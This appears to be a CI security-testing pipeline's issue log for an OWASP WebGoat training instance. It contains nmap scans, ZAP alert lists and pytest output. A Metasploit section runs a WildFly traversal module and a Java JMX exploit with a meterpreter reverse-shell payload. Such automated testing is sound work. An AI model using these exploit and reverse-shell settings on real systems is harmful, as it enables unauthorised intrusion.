libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server
openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13
postgresql-client-common postgresql-common python3-certifi
python3-typing-extensions

49 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 49.8 MB of archives.

After this operation, 38.9 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file
libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server
openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13
postgresql-client-common postgresql-common python3-certifi
python3-typing-extensions

49 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

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Hit:2 <https://deb.parrot.sh/direct/parrot> parrot-security InRelease

Hit:3 <https://deb.parrot.sh/parrot-parrot-backports> InRelease
Reading package lists...
Building dependency tree...
Reading state information...
49 packages can be upgraded. Run 'apt list --upgradable' to see them.
Running basic nmap scan...
Starting Nmap 7.92 (<https://nmap.org>) at 2023-11-23 07:05 UTC
Nmap scan report for 4.247.138.59
Host is up (0.22s latency).
Not shown: 65530 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 cd:03:53:a6:1a:da:31:44:e8:26:9f:cf:ce:cc:0a:64 (ECDSA)
|_ 256 a0:74:dc:58:ad:0c:7b:2d:3c:62:32:94:ed:ac:a4:f1 (ED25519)
80/tcp closed http
443/tcp closed https
8080/tcp open http-proxy
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404 Not Found
| Connection: close
| Content-Length: 0
| Date: Thu, 23 Nov 2023 07:08:55 GMT
| GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, Socks5, TLSSessionReq, TerminalServerCookie, WMSRequest, oracle-tns:
| HTTP/1.1 400 Bad Request
| Content-Length: 0
| Connection: close
| GetRequest:
| HTTP/1.1 404 Not Found
| Connection: close

| Content-Length: 0
| Date: Thu, 23 Nov 2023 07:08:53 GMT
| HTTPOptions:
| HTTP/1.1 404 Not Found
| Connection: close
| Content-Length: 0
|_ Date: Thu, 23 Nov 2023 07:08:54 GMT
|_ http-title: Site doesn't have a title.
9090/tcp open zeus-admin?
| fingerprint-strings:
| GenericLines, RTSPRequest, SqueezeCenter_CLI, WMSRequest, ibm-db2-das:
| HTTP/1.1 400 Bad Request
| Content-Length: 0
| Connection: close
| GetRequest:
| HTTP/1.1 404 Not Found
| Expires: 0
| Cache-Control: no-cache, no-store, max-age=0, must-revalidate
| X-XSS-Protection: 1; mode=block
| Pragma: no-cache
| X-Frame-Options: DENY
| Date: Thu, 23 Nov 2023 07:08:54 GMT
| Connection: close
| Vary: Origin
| Vary: Access-Control-Request-Method
| Vary: Access-Control-Request-Headers
| X-Content-Type-Options: nosniff
| Content-Type: application/json
| "timestamp" : "2023-11-23T07:08:54.001+00:00",
| "status" : 404,
| "error" : "Not Found",
| "path" : "/"

| HTTPOptions:
| HTTP/1.1 404 Not Found
| Expires: 0
| Cache-Control: no-cache, no-store, max-age=0, must-revalidate
| X-XSS-Protection: 1; mode=block
| Pragma: no-cache
| X-Frame-Options: DENY
| Date: Thu, 23 Nov 2023 07:09:11 GMT
| Allow: GET, HEAD, POST, PUT, DELETE, TRACE, OPTIONS, PATCH
| Connection: close
| Vary: Origin
| Vary: Access-Control-Request-Method
| Vary: Access-Control-Request-Headers
| X-Content-Type-Options: nosniff
| Content-Type: application/json
| "timestamp" : "2023-11-23T07:09:11.898+00:00",
| "status" : 404,
| "error" : "Not Found",
|_ "path" : "/"

2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at <https://nmap.org/cgi-bin/submit.cgi?new-service> :

=====NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)=====

SF-Port8080-TCP:V=7.92%I=7%D=11/23%Time=655EFA86%P=x86_64-pc-linux-gnu%(G

SF:etRequest,65,"HTTP/1.1 404 Not Found Connection: close\n

SF:r Content-Length: 0 Date: Thu, 23 Nov 2023 07:08:

SF:53 GMT

")%(HTTPOptions,65,"HTTP/1.1 404 Not Found\n

SF:r Connection: close Content-Length: 0 Date: Thu, 23\n

SF:x20Nov 2023 07:08:54 GMT

")%(RTSPRequest,42,"HTTP/1.1

SF: 400 Bad Request Content-Length: 0 Connection: clo

SF:se

")%r(FourOhFourRequest,65,"HTTP/1.1 404 Not Found
SF: Connection: close Content-Length: 0 Date: Thu, 23\x
SF:20Nov 2023 07:08:55 GMT
")%r(Socks5,42,"HTTP/1.1 40
SF:0 Bad Request Content-Length: 0 Connection: close
SF: ")%r(GenericLines,42,"HTTP/1.1 400 Bad Request Content
SF:-Length: 0 Connection: close
")%r(Help,42,"HTTP/1.1
SF:0400 Bad Request Content-Length: 0 Connection: close\n
SF:r
")%r(SSLSessionReq,42,"HTTP/1.1 400 Bad Request Con
SF:tent-Length: 0 Connection: close
")%r(TerminalServerCoo
SF:kie,42,"HTTP/1.1 400 Bad Request Content-Length: 0 C
SF:onnection: close
")%r(TLSSessionReq,42,"HTTP/1.1 400 B
SF:ad Request Content-Length: 0 Connection: close
")
SF:%r(Kerberos,42,"HTTP/1.1 400 Bad Request Content-Length:\x
SF:200 Connection: close
")%r(SMBProgNeg,42,"HTTP/1.1 400
SF: Bad Request Content-Length: 0 Connection: close \n
SF:r ")%r(LPDString,42,"HTTP/1.1 400 Bad Request Content-Len
SF:gth: 0 Connection: close
")%r(LDAPSearchReq,42,"HTTP/1\n
SF:.1 400 Bad Request Content-Length: 0 Connection: c
SF:lose
")%r(SIPOptions,42,"HTTP/1.1 400 Bad Request C
SF:ontent-Length: 0 Connection: close
")%r(WMSRequest,42,"
SF:HTTP/1.1 400 Bad Request Content-Length: 0 Connectio
SF:n: close

");%r(oracle-tns,42,"HTTP/1.1 400 Bad Reque
SF:st Content-Length: 0 Connection: close
");
=====NEXT SERVICE FINGERPRINT (SUBMIT
INDIVIDUALLY)=====

SF:Port9090-TCP:V=7.92%I=7%D=11/23%Time=655EFA86%P=x86_64-pc-linux-gnu%(G
SF:etRequest,1EF,"HTTP/1.1 404 Not Found Expires: 0 Cac
SF:he-Control: no-cache, no-store, max-age=0, must-revalidate\n
SF:r X-XSS-Protection: 1; mode=block Pragma: no-cache X-Fr
SF:ame-Options: DENY Date: Thu, 23 Nov 2023 07:08:54\n
SF:x20GMT Connection: close Vary: Origin Vary: Access-Co
SF:ntrol-Request-Method Vary: Access-Control-Request-Headers X-Co
SF:ntent-Type-Options: nosniff Content-Type: application/json
SF: { \"timestamp\" : \"2023-11-23T07:08:54.001+00:00\n
SF:\", \"status\" : 404, \"error\" : \"Not
SF:0Found\", \"path\" : \"\" }")%r(WMSRequest,42,"HTTP/1\n
SF:.1 400 Bad Request Content-Length: 0 Connection: c
SF:lose
");%r(ibm-db2-das,42,"HTTP/1.1 400 Bad Request
SF:Content-Length: 0 Connection: close
");%r(SqueezeCenter_
SF:CLI,42,"HTTP/1.1 400 Bad Request Content-Length: 0 C
SF:onnection: close
");%r(GenericLines,42,"HTTP/1.1 400 Ba
SF:d Request Content-Length: 0 Connection: close
");%
SF:r(HTTPOptions,22B,"HTTP/1.1 404 Not Found Expires: 0 \n
SF:nCache-Control: no-cache, no-store, max-age=0, must-revalid
SF:ate X-XSS-Protection: 1; mode=block Pragma: no-cache
SF:X-Frame-Options: DENY Date: Thu, 23 Nov 2023 07:09
SF::11 GMT Allow: GET, HEAD, POST, PUT, DELETE, TR
SF:ACE, OPTIONS, PATCH Connection: close Vary: Origin \n
SF:nVary: Access-Control-Request-Method Vary: Access-Control-Requ

SF:est-Headers X-Content-Type-Options: nosniff Content-Type: a

SF:pplication/json

{ \"timestamp\" : \"2023-11-23T07

SF::09:11.898+00:00\", \"status\" : 404, \"error

SF:\\\" : \"Not Found\", \"path\" : \"^\" }\"}%r(RTS

SF:PreRequest,42,\"HTTP/1.1 400 Bad Request Content-Length: 0

SF: Connection: close

\");

Device type: general purpose|storage-misc|firewall

Running (JUST GUESSING): Linux 4.X|2.6.X|3.X (86%), Synology DiskStation Manager 5.X (86%), WatchGuard Firewall 11.X (86%), FreeBSD 6.X (85%)

OS CPE: cpe:/o:linux:linuxkernel:4.0 cpe:/o:linux:linuxkernel:2.6.32 cpe:/o:linux:linuxkernel:3 cpe:/o:linux:linuxkernel cpe:/a:synology:diskstation_manager:5.1 cpe:/o:watchguard:fireware:11.8 cpe:/o:freebsd:freebsd:6.2

Aggressive OS guesses: Linux 4.0 (86%), Linux 2.6.32 (86%), Linux 2.6.39 (86%), Linux 3.10 - 3.12 (86%), Linux 3.4 (86%), Linux 3.5 (86%), Linux 4.2 (86%), Linux 4.4 (86%), Synology DiskStation Manager 5.1 (86%), WatchGuard Firewall 11.8 (86%)

No exact OS matches for host (test conditions non-ideal).

Network Distance: 2 hops

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)

HOP RTT ADDRESS

1 0.02 ms 172.17.0.1

2 5757.30 ms 4.247.138.59

OS and Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .

Nmap done: 1 IP address (1 host up) scanned in 338.73 seconds

Running vulnerability scanning using basic nmap scripts - SQL Injection...

Starting Nmap 7.92 (<https://nmap.org>) at 2023-11-23 07:11 UTC

Nmap scan report for 4.247.138.59

Host is up (0.22s latency).

PORT STATE SERVICE

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 0.90 seconds

Running vulnerability scanning using CSS nmap script...

Starting Nmap 7.92 (<https://nmap.org>) at 2023-11-23 07:11 UTC

Nmap scan report for 4.247.138.59

Host is up (0.22s latency).

PORT STATE SERVICE

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 1.30 seconds

Priority-High - OWASP WebGoat Login Page ZAP Scan

GitHub Issue number # 735

GitHub Issue URL : [Here!](#)

- Site: <http://4.247.138.59:8080> **New Alerts**
 - **Absence of Anti-CSRF Tokens** [10202] total: 1:
 - <http://4.247.138.59:8080/WebGoat/login>
 - **Anti-CSRF Tokens Check** [20012] total: 1:
 - <http://4.247.138.59:8080/WebGoat/login>
 - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
 - <http://4.247.138.59:8080/WebGoat/login>
 - **Permissions Policy Header Not Set** [10063] total: 1:
 - <http://4.247.138.59:8080/WebGoat/login>
 - **Sec-Fetch-Dest Header is Missing** [90005] total: 4:
 - <http://4.247.138.59:8080/>
 - <http://4.247.138.59:8080/robots.txt>
 - <http://4.247.138.59:8080/sitemap.xml>
 - <http://4.247.138.59:8080/WebGoat/login>
 - **Sec-Fetch-Mode Header is Missing** [90005] total: 4:
 - <http://4.247.138.59:8080/>
 - <http://4.247.138.59:8080/robots.txt>
 - <http://4.247.138.59:8080/sitemap.xml>
 - <http://4.247.138.59:8080/WebGoat/login>
 - **Sec-Fetch-Site Header is Missing** [90005] total: 4:
 - <http://4.247.138.59:8080/>
 - <http://4.247.138.59:8080/robots.txt>
 - <http://4.247.138.59:8080/sitemap.xml>
 - <http://4.247.138.59:8080/WebGoat/login>
 - **Sec-Fetch-User Header is Missing** [90005] total: 4:
 - <http://4.247.138.59:8080/>
 - <http://4.247.138.59:8080/robots.txt>
 - <http://4.247.138.59:8080/sitemap.xml>
 - <http://4.247.138.59:8080/WebGoat/login>
 - **Storable and Cacheable Content** [10049] total: 4:
 - <http://4.247.138.59:8080/>
 - <http://4.247.138.59:8080/robots.txt>
 - <http://4.247.138.59:8080/sitemap.xml>
 - <http://4.247.138.59:8080/WebGoat/login>
 - **User Agent Fuzzer** [10104] total: 12:
 - <http://4.247.138.59:8080/WebGoat>
 - <http://4.247.138.59:8080/WebGoat>
 - <http://4.247.138.59:8080/WebGoat>
 - <http://4.247.138.59:8080/WebGoat>
 - <http://4.247.138.59:8080/WebGoat>
 - ..

View the [following link](#) to download the report. RunnerID:6774114667

Priority-High - OWASP WebGoat Registration Page ZAP Scan

GitHub Issue number # 734

GitHub Issue URL : [Here!](#)

- Site: <http://4.247.138.59:8080> **New Alerts**
 - **Absence of Anti-CSRF Tokens** [10202] total: 1:
 - <http://4.247.138.59:8080/WebGoat/registration>
 - **Anti-CSRF Tokens Check** [20012] total: 1:
 - <http://4.247.138.59:8080/WebGoat/registration>
 - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
 - <http://4.247.138.59:8080/WebGoat/registration>
 - **Permissions Policy Header Not Set** [10063] total: 1:
 - <http://4.247.138.59:8080/WebGoat/registration>
 - **Sec-Fetch-Dest Header is Missing** [90005] total: 3:
 - <http://4.247.138.59:8080/>
 - <http://4.247.138.59:8080/sitemap.xml>
 - <http://4.247.138.59:8080/WebGoat/registration>
 - **Sec-Fetch-Mode Header is Missing** [90005] total: 3:
 - <http://4.247.138.59:8080/>
 - <http://4.247.138.59:8080/sitemap.xml>
 - <http://4.247.138.59:8080/WebGoat/registration>
 - **Sec-Fetch-Site Header is Missing** [90005] total: 3:
 - <http://4.247.138.59:8080/>
 - <http://4.247.138.59:8080/sitemap.xml>
 - <http://4.247.138.59:8080/WebGoat/registration>
 - **Sec-Fetch-User Header is Missing** [90005] total: 3:
 - <http://4.247.138.59:8080/>
 - <http://4.247.138.59:8080/sitemap.xml>
 - <http://4.247.138.59:8080/WebGoat/registration>
 - **Storable and Cacheable Content** [10049] total: 4:
 - <http://4.247.138.59:8080/>
 - <http://4.247.138.59:8080/robots.txt>
 - <http://4.247.138.59:8080/sitemap.xml>
 - <http://4.247.138.59:8080/WebGoat/registration>
 - **User Agent Fuzzer** [10104] total: 12:
 - <http://4.247.138.59:8080/WebGoat>
 - <http://4.247.138.59:8080/WebGoat>
 - <http://4.247.138.59:8080/WebGoat>
 - <http://4.247.138.59:8080/WebGoat>
 - <http://4.247.138.59:8080/WebGoat>
 - ..

View the [following link](#) to download the report. RunnerID:6774114667

- Site: <http://4.224.244.252:8080> **New Alerts**
 - **Absence of Anti-CSRF Tokens** [10202] total: 1:
 - <http://4.224.244.252:8080/WebGoat/registration>
 - **Anti-CSRF Tokens Check** [20012] total: 1:
 - <http://4.224.244.252:8080/WebGoat/registration>
 - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
 - <http://4.224.244.252:8080/WebGoat/registration>
 - **Permissions Policy Header Not Set** [10063] total: 1:
 - <http://4.224.244.252:8080/WebGoat/registration>

- **Sec-Fetch-Dest Header is Missing** [90005] total: 3:
 - <http://4.224.244.252:8080/>
 - <http://4.224.244.252:8080/robots.txt>
 - <http://4.224.244.252:8080/WebGoat/registration>
- **Sec-Fetch-Mode Header is Missing** [90005] total: 3:
 - <http://4.224.244.252:8080/>
 - <http://4.224.244.252:8080/robots.txt>
 - <http://4.224.244.252:8080/WebGoat/registration>
- **Sec-Fetch-Site Header is Missing** [90005] total: 3:
 - <http://4.224.244.252:8080/>
 - <http://4.224.244.252:8080/robots.txt>
 - <http://4.224.244.252:8080/WebGoat/registration>
- **Sec-Fetch-User Header is Missing** [90005] total: 3:
 - <http://4.224.244.252:8080/>
 - <http://4.224.244.252:8080/robots.txt>
 - <http://4.224.244.252:8080/WebGoat/registration>
- **Storable and Cacheable Content** [10049] total: 4:
 - <http://4.224.244.252:8080/>
 - <http://4.224.244.252:8080/robots.txt>
 - <http://4.224.244.252:8080/sitemap.xml>
 - <http://4.224.244.252:8080/WebGoat/registration>
- **User Agent Fuzzer** [10104] total: 12:
 - <http://4.224.244.252:8080/WebGoat>
 - <http://4.224.244.252:8080/WebGoat>
 - <http://4.224.244.252:8080/WebGoat>
 - <http://4.224.244.252:8080/WebGoat>
 - <http://4.224.244.252:8080/WebGoat>
 - ..

View the [following link](#) to download the report. RunnerID:6966611694

- Site: <http://4.247.178.89:8080> **New Alerts**
 - **Absence of Anti-CSRF Tokens** [10202] total: 1:
 - <http://4.247.178.89:8080/WebGoat/registration>
 - **Anti-CSRF Tokens Check** [20012] total: 1:
 - <http://4.247.178.89:8080/WebGoat/registration>
 - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
 - <http://4.247.178.89:8080/WebGoat/registration>
 - **Permissions Policy Header Not Set** [10063] total: 1:
 - <http://4.247.178.89:8080/WebGoat/registration>
 - **Sec-Fetch-Dest Header is Missing** [90005] total: 3:
 - <http://4.247.178.89:8080/robots.txt>
 - <http://4.247.178.89:8080/sitemap.xml>
 - <http://4.247.178.89:8080/WebGoat/registration>
 - **Sec-Fetch-Mode Header is Missing** [90005] total: 3:
 - <http://4.247.178.89:8080/robots.txt>
 - <http://4.247.178.89:8080/sitemap.xml>
 - <http://4.247.178.89:8080/WebGoat/registration>
 - **Sec-Fetch-Site Header is Missing** [90005] total: 3:
 - <http://4.247.178.89:8080/robots.txt>
 - <http://4.247.178.89:8080/sitemap.xml>
 - <http://4.247.178.89:8080/WebGoat/registration>
 - **Sec-Fetch-User Header is Missing** [90005] total: 3:
 - <http://4.247.178.89:8080/robots.txt>
 - <http://4.247.178.89:8080/sitemap.xml>
 - <http://4.247.178.89:8080/WebGoat/registration>
 - **Storable and Cacheable Content** [10049] total: 4:
 - <http://4.247.178.89:8080/>
 - <http://4.247.178.89:8080/robots.txt>

- <http://4.247.178.89:8080/sitemap.xml>
- <http://4.247.178.89:8080/WebGoat/registration>
- **User Agent Fuzzer** [10104] total: 12:
 - <http://4.247.178.89:8080/WebGoat>
 - <http://4.247.178.89:8080/WebGoat>
 - <http://4.247.178.89:8080/WebGoat>
 - <http://4.247.178.89:8080/WebGoat>
 - <http://4.247.178.89:8080/WebGoat>
 - ..

View the [following link](#) to download the report. RunnerID:6774114667

Priority High - Sonar Cloud Code Scan Report

GitHub Issue number # 733

GitHub Issue URL : [Here!](#)

SonarCloud
"priority High"

SonarCloud Scan for OWASP WebGoat

Go to https://sonarcloud.io/project/overview?id=pradyumna-muppirala_WebGoatSAST for full report of SonarCloud with Github SSO.

Priority High - Snyk Report

GitHub Issue number # 732

GitHub Issue URL : [Here!](#)

Snyk_scan
"priority High"

Snyk Scan for OWASP WebGoat

Go to <https://app.snyk.io/org/pradyumna-muppirala> for full report of Snyk with Github SSO.

Priority-High Pytest-Playwright Test Output Issue

GitHub Issue number # 731

GitHub Issue URL : [Here!](#)

Playwright
pytest
"priority High"

Starting pytests....

```
===== test session starts  
=====
```

platform linux -- Python 3.10.12, pytest-7.4.3, pluggy-1.3.0

rootdir: /home/runner/work/ASTICI/ASTICI

configfile: apture=tee-sys

plugins: base-url-2.0.0, playwright-0.4.3, tornasync-0.6.0.post2, anyio-4.0.0,
asyncio-0.21.1, trio-0.8.0

asyncio: mode=strict

collected 5 items

src/test_AsyncWebGoatUseCases.py ... [60%]

src/test_WebGoatUseCases.py .. [100%]

```
===== PASSES  
=====
```

```
===== 5 passed in 25.98s  
=====
```

Stop pytests....

Priority-High - OWASP WebGoat Landing Page ZAP Scan

GitHub Issue number # 730

GitHub Issue URL : [Here!](#)

- Site: <http://4.213.51.131:8080> **New Alerts**
 - **Absence of Anti-CSRF Tokens** [10202] total: 1:
 - <http://4.213.51.131:8080/WebGoat/login>
 - **Anti-CSRF Tokens Check** [20012] total: 1:
 - <http://4.213.51.131:8080/WebGoat/login>
 - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
 - <http://4.213.51.131:8080/WebGoat/login>
 - **Cookie No HttpOnly Flag** [10010] total: 1:
 - <http://4.213.51.131:8080/WebGoat/start.mvc>
 - **Cookie Slack Detector** [90027] total: 2:
 - <http://4.213.51.131:8080/WebGoat/login>
 - <http://4.213.51.131:8080/WebGoat/start.mvc>
 - **Cookie without SameSite Attribute** [10054] total: 1:
 - <http://4.213.51.131:8080/WebGoat/start.mvc>
 - **Permissions Policy Header Not Set** [10063] total: 1:
 - <http://4.213.51.131:8080/WebGoat/login>
 - **Base64 Disclosure** [10094] total: 1:
 - <http://4.213.51.131:8080/WebGoat/start.mvc>
 - **Non-Storable Content** [10049] total: 1:
 - <http://4.213.51.131:8080/WebGoat/start.mvc>
 - **Sec-Fetch-Dest Header is Missing** [90005] total: 3:
 - <http://4.213.51.131:8080/robots.txt>
 - <http://4.213.51.131:8080/WebGoat/login>
 - <http://4.213.51.131:8080/WebGoat/start.mvc>
 - **Sec-Fetch-Mode Header is Missing** [90005] total: 3:
 - <http://4.213.51.131:8080/robots.txt>
 - <http://4.213.51.131:8080/WebGoat/login>
 - <http://4.213.51.131:8080/WebGoat/start.mvc>
 - **Sec-Fetch-Site Header is Missing** [90005] total: 3:
 - <http://4.213.51.131:8080/robots.txt>
 - <http://4.213.51.131:8080/WebGoat/login>
 - <http://4.213.51.131:8080/WebGoat/start.mvc>
 - **Sec-Fetch-User Header is Missing** [90005] total: 3:
 - <http://4.213.51.131:8080/robots.txt>
 - <http://4.213.51.131:8080/WebGoat/login>
 - <http://4.213.51.131:8080/WebGoat/start.mvc>
 - **Session Management Response Identified** [10112] total: 2:
 - <http://4.213.51.131:8080/WebGoat/start.mvc>
 - <http://4.213.51.131:8080/WebGoat/start.mvc>
 - **Storable and Cacheable Content** [10049] total: 4:
 - <http://4.213.51.131:8080/>
 - <http://4.213.51.131:8080/robots.txt>
 - <http://4.213.51.131:8080/sitemap.xml>
 - <http://4.213.51.131:8080/WebGoat/login>
 - **User Agent Fuzzer** [10104] total: 24:
 - <http://4.213.51.131:8080/WebGoat>
 - <http://4.213.51.131:8080/WebGoat>
 - <http://4.213.51.131:8080/WebGoat>
 - <http://4.213.51.131:8080/WebGoat>

- <http://4.213.51.131:8080/WebGoat>
- ..

View the [following link](#) to download the report. RunnerID:6774114667

Priority-High Metasploit-ParrotOS Test output

GitHub Issue number # 729

GitHub Issue URL : [Here!](#)

parrotOS
metasploit
"priority High"

Interactive Application Security Testing :

Making sure that parrot OS docker image has all the latest updates...

Get:1 https://deb.parrot.sh/parrot parrot InRelease [14.6 kB]

Get:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease [14.3 kB]

Get:3 https://deb.parrot.sh/parrot parrot-backports InRelease [14.5 kB]

Get:4 https://deb.parrot.sh/parrot parrot/main amd64 Packages [17.6 MB]

Get:5 https://deb.parrot.sh/parrot parrot/contrib amd64 Packages [107 kB]

Get:6 https://deb.parrot.sh/parrot parrot/non-free amd64 Packages [214 kB]

Get:7 https://deb.parrot.sh/direct/parrot parrot-security/main amd64 Packages [519 kB]

Get:8 https://deb.parrot.sh/direct/parrot parrot-security/non-free amd64 Packages [884 B]

Get:9 https://deb.parrot.sh/parrot parrot-backports/main amd64 Packages [1107 kB]

Get:10 https://deb.parrot.sh/parrot parrot-backports/contrib amd64 Packages [19.8 kB]

Get:11 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages [50.9 kB]

Fetchd 19.6 MB in 2s (8675 kB/s)

Reading package lists...

Building dependency tree...

Reading state information...

49 packages can be upgraded. Run 'apt list --upgradable' to see them.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

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libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server
openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13
postgresql-client-common postgresql-common python3-certifi
python3-typing-extensions

49 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 49.8 MB of archives.

After this operation, 38.9 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file
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Hit:3 https://deb.parrot.sh/parrot parrot-backports InRelease

Reading package lists...

Building dependency tree...

Reading state information...

49 packages can be upgraded. Run 'apt list --upgradable' to see them.

Cleaning up any existing old code copies of security tests...

This is not a secure way to check out code;

Getting the latest code copy for all security tests...

=====

Metasploit Framework Exploit Demo :

=====

Target Web Goat Instance IP Address : 4.213.51.131

Possible Metasploit exploits or auxiliaries or payloads, that can used for attacking

=====

Sample attack executions from msfconsole CLI >>>

Sample 1 : Running Wildfly directory traversal auxillary attack ... >>>

[*] Processing ./src/exploitwildflydir_traversal.rc for ERB directives.

resource (./src/exploitwildflydirtraversal.rc)> use auxiliary/scanner/http/wildflytraversal

resource (./src/exploitwildflydir_traversal.rc)> show options

Module options (auxiliary/scanner/http/wildfly_traversal):

Name Current Setting Required Description

Proxies no A proxy chain of format type:host:port[,type:host:port][...]

RELATIVEFILEPATH standalone

RHOSTS yes The target host(s), see <https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html>

RPORT 8080 yes The target port (TCP)

SSL false no Negotiate SSL/TLS for outgoing connections

THREADS 1 yes The number of concurrent threads (max one per host)

TRAVERSAL_DEPTH 1 yes Traversal depth

VHOST no HTTP server virtual host

View the full module info with the info, or info -d command.

[*] resource (./src/exploitwildflydir_traversal.rc)> Ruby Code (57 bytes)

RHOSTS =>

resource (./src/exploitwildflydir_traversal.rc)> run

[-] Msf::OptionValidateError The following options failed to validate: RHOSTS

resource (./src/exploitwildflydir_traversal.rc)> exit

Sample 2 : Running Java JMX Reverse HTTPS command shell exploit... >>>

[*] Processing ./src/exploitjavajmxreversehttps.rc for ERB directives.

resource (./src/exploitjavajmxreversehttps.rc)> use exploit/multi/misc/javajmxserver

[*] No payload configured, defaulting to java/meterpreter/reverse_tcp

resource (./src/exploitjavajmxreversehttps.rc)> show options

Module options (exploit/multi/misc/javajmxserver):

Name	Current	Setting	Required	Description
------	---------	---------	----------	-------------

JMXRMI	jmxrmi	yes	The name where the JMX RMI interface is bound
--------	--------	-----	---

JMX_PASSWORD	no	The password to interact with an authenticated JMX endpoint
--------------	----	---

JMX_ROLE	no	The role to interact with an authenticated JMX endpoint
----------	----	---

RHOSTS	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
--------	-----	---

RPORT	yes	The target port (TCP)
-------	-----	-----------------------

SRVHOST	0.0.0.0	yes	The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
---------	---------	-----	---

SRVPORT	8080	yes	The local port to listen on.
---------	------	-----	------------------------------

SSLCert	no	Path to a custom SSL certificate (default is randomly generated)
---------	----	--

URIPATH	no	The URI to use for this exploit (default is random)
---------	----	---

Payload options (java/meterpreter/reverse_tcp):

Name	Current	Setting	Required	Description
------	---------	---------	----------	-------------

LHOST	172.17.0.2	yes	The listen address (an interface may be specified)
-------	------------	-----	--

LPORT	4444	yes	The listen port
-------	------	-----	-----------------

Exploit target:

Id	Name
----	------

0	Generic (Java Payload)
---	------------------------

View the full module info with the info, or info -d command.

```
[*] resource (./src/exploit/javajmxreversehttps.rc)> Ruby Code (57 bytes)
```

```
RHOSTS =>
```

```
resource (./src/exploit/javajmxreversehttps.rc)> use payload/java/meterpreter/  
reverse_https
```

```
resource (./src/exploit/javajmxreversehttps.rc)> exploit
```

```
[*] Payload Handler Started as Job
```

```
resource (./src/exploit/javajmxreversehttps.rc)> exit
```

=====

Priority-Medium Nmap-ParrotOS Scan output

GitHub Issue number # 728

GitHub Issue URL : [Here!](#)

parrotOS
nmap
"priority Medium"

Nmap vulnerability scanning
for 4.213.51.131

Making sure that parrot OS docker image has all the latest updates...

Get:1 https://deb.parrot.sh/parrot parrot InRelease [14.6 kB]

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libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0
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libx11-6 libx11-data libxpm4 locales openssh-client openssh-server
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python3-typing-extensions

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Need to get 49.8 MB of archives.

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Do you want to continue? [Y/n] Abort.

Reading package lists...

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Reading state information...

Calculating upgrade...

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Hit:1 <https://deb.parrot.sh/parrot> parrot InRelease

Hit:2 <https://deb.parrot.sh/direct/parrot> parrot-security InRelease

Hit:3 <https://deb.parrot.sh/parrot-parrot-backports> InRelease
Reading package lists...
Building dependency tree...
Reading state information...
49 packages can be upgraded. Run 'apt list --upgradable' to see them.
Running basic nmap scan...
Starting Nmap 7.92 (<https://nmap.org>) at 2023-11-20 11:21 UTC
Nmap scan report for 4.213.51.131
Host is up (0.22s latency).
Not shown: 65530 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 15:1d:09:d7:9c:58:21:d4:62:77:1b:18:60:99:c1:f4 (ECDSA)
|_ 256 ab:d7:b6:07:42:d3:cd:dd:11:d6:9f:c8:11:4b:12:22 (ED25519)
80/tcp closed http
443/tcp closed https
8080/tcp open http-proxy
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404 Not Found
| Connection: close
| Content-Length: 0
| Date: Mon, 20 Nov 2023 11:25:14 GMT
